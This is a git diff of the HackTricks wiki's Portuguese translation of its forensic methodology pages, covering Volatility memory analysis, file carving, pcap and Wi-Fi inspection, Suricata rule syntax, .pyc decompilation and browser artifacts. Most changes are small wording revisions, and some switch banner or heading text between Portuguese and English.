{% endhint %} diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md index 01f5731dd..12f46e9b8 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md @@ -21,7 +21,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -62,7 +62,7 @@ Acesse a documentação oficial em [Referência de comandos do Volatility](https O Volatility tem duas abordagens principais para plugins, que às vezes são refletidas em seus nomes. Plugins “list” tentarão navegar pelas estruturas do Kernel do Windows para recuperar informações como processos (localizar e percorrer a lista encadeada de estruturas `_EPROCESS` na memória), handles do SO (localizando e listando a tabela de handles, desreferenciando quaisquer ponteiros encontrados, etc). Eles se comportam mais ou menos como a API do Windows se solicitada a, por exemplo, listar processos. -Isso torna os plugins “list” bastante rápidos, mas tão vulneráveis quanto a API do Windows à manipulação por malware. Por exemplo, se um malware usar DKOM para desvincular um processo da lista encadeada `_EPROCESS`, ele não aparecerá no Gerenciador de Tarefas e nem no pslist. +Isso torna os plugins “list” bastante rápidos, mas tão vulneráveis quanto a API do Windows a manipulações por malware. Por exemplo, se um malware usar DKOM para desvincular um processo da lista encadeada `_EPROCESS`, ele não aparecerá no Gerenciador de Tarefas e nem no pslist. Os plugins “scan”, por outro lado, adotarão uma abordagem semelhante à escultura da memória para coisas que podem fazer sentido quando desreferenciadas como estruturas específicas. O `psscan`, por exemplo, lerá a memória e tentará criar objetos `_EPROCESS` a partir dela (usa a varredura de pool-tag, que busca por strings de 4 bytes que indicam a presença de uma estrutura de interesse). A vantagem é que pode encontrar processos que já saíram, e mesmo que o malware interfira na lista encadeada `_EPROCESS`, o plugin ainda encontrará a estrutura presente na memória (já que ainda precisa existir para o processo ser executado). A desvantagem é que os plugins “scan” são um pouco mais lentos que os plugins “list” e podem, às vezes, gerar falsos positivos (um processo que saiu há muito tempo e teve partes de sua estrutura sobrescritas por outras operações). @@ -72,7 +72,7 @@ De: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/] ### Volatility3 -Como explicado no readme, você precisa colocar a **tabela de símbolos do SO** que deseja suportar dentro de _volatility3/volatility/symbols_.\ +Conforme explicado no readme, você precisa colocar a **tabela de símbolos do SO** que deseja suportar dentro de _volatility3/volatility/symbols_.\ Pacotes de tabela de símbolos para os vários sistemas operacionais estão disponíveis para **download** em: * [https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip) @@ -114,7 +114,7 @@ volatility kdbgscan -f file.dmp [**Daqui**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): Ao contrário do imageinfo, que simplesmente fornece sugestões de perfil, **kdbgscan** é projetado para identificar positivamente o perfil correto e o endereço KDBG correto (se houver múltiplos). Este plugin escaneia as assinaturas KDBGHeader vinculadas aos perfis do Volatility e aplica verificações de sanidade para reduzir falsos positivos. A verbosidade da saída e o número de verificações de sanidade que podem ser realizadas dependem de o Volatility conseguir encontrar um DTB, então, se você já conhece o perfil correto (ou se você tem uma sugestão de perfil do imageinfo), então certifique-se de usá-lo. -Sempre dê uma olhada no **número de processos que o kdbgscan encontrou**. Às vezes, imageinfo e kdbgscan podem encontrar **mais de um** **perfil** adequado, mas apenas o **válido terá algum processo relacionado** (Isso ocorre porque para extrair processos o endereço KDBG correto é necessário). +Sempre dê uma olhada no **número de processos que o kdbgscan encontrou**. Às vezes, imageinfo e kdbgscan podem encontrar **mais de um** **perfil** adequado, mas apenas o **válido terá algum processo relacionado** (Isso ocorre porque para extrair processos o endereço KDBG correto é necessário) ```bash # GOOD PsActiveProcessHead : 0xfffff800011977f0 (37 processes) @@ -175,7 +175,7 @@ volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/ ### Listar processos -Tente encontrar processos **suspeitos** (pelo nome) ou **inesperados** processos filhos (por exemplo, um cmd.exe como filho de iexplorer.exe).\ +Tente encontrar processos **suspeitos** (por nome) ou **inesperados** processos filhos (por exemplo, um cmd.exe como filho de iexplorer.exe).\ Pode ser interessante **comparar** o resultado do pslist com o do psscan para identificar processos ocultos. {% tabs %} @@ -553,7 +553,7 @@ volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp {% endtab %} {% endtabs %} -O **sistema de arquivos NTFS** usa um componente crítico conhecido como _tabela de arquivos mestre_ (MFT). Esta tabela inclui pelo menos uma entrada para cada arquivo em um volume, cobrindo a própria MFT também. Detalhes vitais sobre cada arquivo, como **tamanho, carimbos de data/hora, permissões e dados reais**, estão encapsulados dentro das entradas da MFT ou em áreas externas à MFT, mas referenciadas por essas entradas. Mais detalhes podem ser encontrados na [documentação oficial](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). +O **sistema de arquivos NTFS** usa um componente crítico conhecido como _tabela mestre de arquivos_ (MFT). Esta tabela inclui pelo menos uma entrada para cada arquivo em um volume, cobrindo a própria MFT também. Detalhes vitais sobre cada arquivo, como **tamanho, carimbos de data/hora, permissões e dados reais**, estão encapsulados dentro das entradas da MFT ou em áreas externas à MFT, mas referenciadas por essas entradas. Mais detalhes podem ser encontrados na [documentação oficial](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). ### Chaves/Certificados SSL @@ -773,7 +773,7 @@ volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp ```bash volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp ``` -O **Master Boot Record (MBR)** desempenha um papel crucial na gestão das partições lógicas de um meio de armazenamento, que são estruturadas com diferentes [sistemas de arquivos](https://en.wikipedia.org/wiki/File\_system). Ele não apenas contém informações sobre o layout das partições, mas também possui código executável que atua como um carregador de inicialização. Este carregador de inicialização inicia diretamente o processo de carregamento de segunda fase do SO (veja [carregador de inicialização de segunda fase](https://en.wikipedia.org/wiki/Second-stage\_boot\_loader)) ou trabalha em harmonia com o [registro de inicialização do volume](https://en.wikipedia.org/wiki/Volume\_boot\_record) (VBR) de cada partição. Para um conhecimento mais aprofundado, consulte a [página do MBR na Wikipedia](https://en.wikipedia.org/wiki/Master\_boot\_record). +O **Master Boot Record (MBR)** desempenha um papel crucial na gestão das partições lógicas de um meio de armazenamento, que são estruturadas com diferentes [file systems](https://en.wikipedia.org/wiki/File\_system). Ele não apenas contém informações sobre o layout das partições, mas também inclui código executável que atua como um carregador de inicialização. Este carregador de inicialização inicia diretamente o processo de carregamento de segunda fase do SO (veja [second-stage boot loader](https://en.wikipedia.org/wiki/Second-stage\_boot\_loader)) ou trabalha em harmonia com o [volume boot record](https://en.wikipedia.org/wiki/Volume\_boot\_record) (VBR) de cada partição. Para um conhecimento mais aprofundado, consulte a [página da Wikipedia sobre MBR](https://en.wikipedia.org/wiki/Master\_boot\_record). ## Referências diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md index 81984fe7d..3610115ef 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -17,8 +17,8 @@ Aprenda e pratique Hacking GCP: {% endhint %} -## Ferramentas de Carving & Recuperação +## Carving & Recovery tools Mais ferramentas em [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) @@ -80,7 +80,7 @@ Verifique o [código](https://code.google.com/archive/p/binvis/) e a [página da * Obtendo **padrões** para criptoanálise em arquivos * **Identificando** algoritmos de empacotamento ou codificação * **Identificar** Esteganografia por padrões -* **Diferença** binária visual +* **Diferença** visual binária BinVis é um ótimo **ponto de partida para se familiarizar com um alvo desconhecido** em um cenário de caixa-preta. @@ -88,7 +88,7 @@ BinVis é um ótimo **ponto de partida para se familiarizar com um alvo desconhe ### FindAES -Procura por chaves AES pesquisando por seus cronogramas de chaves. Capaz de encontrar chaves de 128, 192 e 256 bits, como as usadas pelo TrueCrypt e BitLocker. +Procura por chaves AES buscando por seus cronogramas de chaves. Capaz de encontrar chaves de 128, 192 e 256 bits, como as usadas pelo TrueCrypt e BitLocker. Baixe [aqui](https://sourceforge.net/projects/findaes/). diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md index 407c5d27f..b943a438d 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md @@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -74,7 +74,7 @@ Em seguida, crie um **novo caso**, crie uma **nova sessão** dentro do caso e ** ### NetworkMiner -Como o Xplico, é uma ferramenta para **analisar e extrair objetos de pcaps**. Tem uma edição gratuita que você pode **baixar** [**aqui**](https://www.netresec.com/?page=NetworkMiner). Funciona com **Windows**.\ +Assim como o Xplico, é uma ferramenta para **analisar e extrair objetos de pcaps**. Tem uma edição gratuita que você pode **baixar** [**aqui**](https://www.netresec.com/?page=NetworkMiner). Funciona com **Windows**.\ Esta ferramenta também é útil para obter **outras informações analisadas** dos pacotes, a fim de saber o que estava acontecendo de uma forma **mais rápida**. ### NetWitness Investigator diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index c82fc9132..441cb9f47 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -51,7 +51,7 @@ Aprenda e pratique Hacking GCP: -Support HackTricks +Supporte o HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md index 90abe2f2a..af1879a68 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md @@ -135,8 +135,8 @@ systemctl daemon-reload [Dos docs:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) Uma regra/sigla consiste no seguinte: * A **ação**, determina o que acontece quando a sigla corresponde. -* O **cabeçalho**, define o protocolo, endereços IP, portas e a direção da regra. -* As **opções da regra**, definem os detalhes específicos da regra. +* O **cabeçalho**, define o protocolo, endereços IP, portas e direção da regra. +* As **opções da regra**, definem os detalhes da regra. ```bash alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; fast_pattern; classtype:bad-unknown; sid:123; rev:1;) ``` @@ -164,11 +164,11 @@ Suporta intervalos de IP, negações e uma lista de endereços: | Exemplo | Significado | | ------------------------------ | -------------------------------------------- | -| ! 1.1.1.1 | Todo endereço IP, exceto 1.1.1.1 | -| !\[1.1.1.1, 1.1.1.2] | Todo endereço IP, exceto 1.1.1.1 e 1.1.1.2 | -| $HOME\_NET | Sua configuração de HOME\_NET em yaml | -| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET e não HOME\_NET | -| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 exceto 10.0.0.5 | +| ! 1.1.1.1 | Todo endereço IP, exceto 1.1.1.1 | +| !\[1.1.1.1, 1.1.1.2] | Todo endereço IP, exceto 1.1.1.1 e 1.1.1.2 | +| $HOME\_NET | Sua configuração de HOME\_NET em yaml | +| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET e não HOME\_NET | +| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24, exceto 10.0.0.5 | #### Portas de Origem e Destino @@ -177,10 +177,10 @@ Suporta intervalos de portas, negações e listas de portas | Exemplo | Significado | | --------------- | ------------------------------------------ | | any | qualquer endereço | -| \[80, 81, 82] | porta 80, 81 e 82 | -| \[80: 82] | Intervalo de 80 até 82 | +| \[80, 81, 82] | porta 80, 81 e 82 | +| \[80: 82] | Intervalo de 80 até 82 | | \[1024: ] | De 1024 até o maior número de porta | -| !80 | Toda porta, exceto 80 | +| !80 | Toda porta, exceto 80 | | \[80:100,!99] | Intervalo de 80 até 100, mas 99 excluído | | \[1:80,!\[2,4]] | Intervalo de 1-80, exceto portas 2 e 4 | diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index 828b2f5f5..004f3190c 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -1,23 +1,23 @@ -# Wifi Pcap Analysis +# Análise de Pcap Wifi {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -## Verifique os BSSIDs +## Verificar BSSIDs -Quando você recebe uma captura cujo tráfego principal é Wifi usando o WireShark, você pode começar a investigar todos os SSIDs da captura com _Wireless --> WLAN Traffic_: +Quando você recebe uma captura cujo tráfego principal é Wifi usando WireShark, você pode começar a investigar todos os SSIDs da captura com _Wireless --> WLAN Traffic_: ![](<../../../.gitbook/assets/image (106).png>) @@ -33,7 +33,7 @@ Por exemplo, ele irá recuperar a senha WPA que protege uma PSK (chave pré-comp ## Dados em Beacons / Canal Lateral -Se você suspeitar que **dados estão sendo vazados dentro dos beacons de uma rede Wifi**, você pode verificar os beacons da rede usando um filtro como o seguinte: `wlan contains `, ou `wlan.ssid == "NAMEofNETWORK"` para procurar dentro dos pacotes filtrados por strings suspeitas. +Se você suspeitar que **dados estão sendo vazados dentro dos beacons de uma rede Wifi**, você pode verificar os beacons da rede usando um filtro como o seguinte: `wlan contains `, ou `wlan.ssid == "NAMEofNETWORK"` e procurar dentro dos pacotes filtrados por strings suspeitas. ## Encontrar Endereços MAC Desconhecidos em uma Rede Wifi diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index 04049d8ca..bca0a3703 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -9,7 +9,7 @@ Aprenda e pratique Hacking GCP: Suporte ao HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
@@ -29,9 +29,9 @@ Os seguintes tutoriais são incríveis para aprender alguns truques básicos leg ### Informações Analisadas -**Informações do Especialista** +**Informações de Especialista** -Clicando em _**Analisar** --> **Informações do Especialista**_ você terá uma **visão geral** do que está acontecendo nos pacotes **analisados**: +Clicando em _**Analisar** --> **Informações de Especialista**_ você terá uma **visão geral** do que está acontecendo nos pacotes **analisados**: ![](<../../../.gitbook/assets/image (256).png>) @@ -85,7 +85,7 @@ Outros filtros interessantes: ### Pesquisa -Se você quiser **pesquisar** por **conteúdo** dentro dos **pacotes** das sessões, pressione _CTRL+f_. Você pode adicionar novas camadas à barra de informações principal (No., Hora, Fonte, etc.) pressionando o botão direito e depois editando a coluna. +Se você quiser **pesquisar** por **conteúdo** dentro dos **pacotes** das sessões, pressione _CTRL+f_. Você pode adicionar novas camadas à barra de informações principal (No., Hora, Fonte, etc.) pressionando o botão direito e depois a opção de editar coluna. ### Laboratórios pcap gratuitos @@ -172,7 +172,7 @@ Aprenda e pratique Hacking GCP: -Support HackTricks +Supporte o HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index d13a1789e..b248fa50c 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,29 +1,29 @@ # Decompile compiled python binaries (exe, elf) - Retreive from .pyc {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
-**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**! +**Bug bounty tip**: **inscreva-se** para **Intigriti**, uma **plataforma de bug bounty premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} -## De Binário Compilado para .pyc +## From Compiled Binary to .pyc -De um binário compilado **ELF** você pode **obter o .pyc** com: +De um **binário ELF** compilado você pode **obter o .pyc** com: ```bash pyi-archive_viewer # The list of python modules will be given here: @@ -54,7 +54,7 @@ uncompyle6 binary.pyc > decompiled.py ``` **Certifique-se** de que o binário tem a **extensão** "**.pyc**" (se não, o uncompyle6 não vai funcionar) -Ao executar o **uncompyle6**, você pode encontrar os **seguintes erros**: +Ao executar **uncompyle6**, você pode encontrar os **seguintes erros**: ### Erro: Número mágico desconhecido 227 ```bash @@ -73,7 +73,7 @@ O **número mágico** neste caso para python3.8 é **`0x550d0d0a`**, então, par **Uma vez** que você tenha **adicionado** esse cabeçalho mágico, o **erro deve ser corrigido.** -É assim que um **cabeçalho mágico .pyc python3.8** corretamente adicionado deve parecer: +Assim é como um **.pyc python3.8 magic header** corretamente adicionado deve parecer: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -87,7 +87,7 @@ hexdump 'binary.pyc' | head Isso provavelmente significa que você **não adicionou corretamente** o número mágico ou que você **não usou** o **número mágico correto**, então **certifique-se de usar o correto** (ou tente um novo). -Verifique a documentação de erro anterior. +Verifique a documentação do erro anterior. ## Ferramenta Automática diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md index 626520e79..332481869 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,20 +1,20 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} -Aqui você pode encontrar truques interessantes para tipos de arquivos específicos e/ou software: +Aqui você pode encontrar truques interessantes para tipos de arquivos e/ou software específicos: {% page-ref page=".pyc.md" %} @@ -39,16 +39,16 @@ Aqui você pode encontrar truques interessantes para tipos de arquivos específi {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index 3e75c49bf..5ee099cdb 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -1,16 +1,16 @@ -# Artefatos do Navegador +# Browser Artifacts {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} @@ -18,12 +18,12 @@ Aprenda e pratique Hacking GCP:
\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\ +Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.\ Acesse hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} -## Artefatos do Navegador +## Browsers Artifacts Os artefatos do navegador incluem vários tipos de dados armazenados pelos navegadores da web, como histórico de navegação, favoritos e dados de cache. Esses artefatos são mantidos em pastas específicas dentro do sistema operacional, variando em localização e nome entre os navegadores, mas geralmente armazenando tipos de dados semelhantes. @@ -124,7 +124,7 @@ O Internet Explorer 11 gerencia seus dados e metadados em vários locais, ajudan ### Armazenamento de Metadados -Os metadados do Internet Explorer são armazenados em 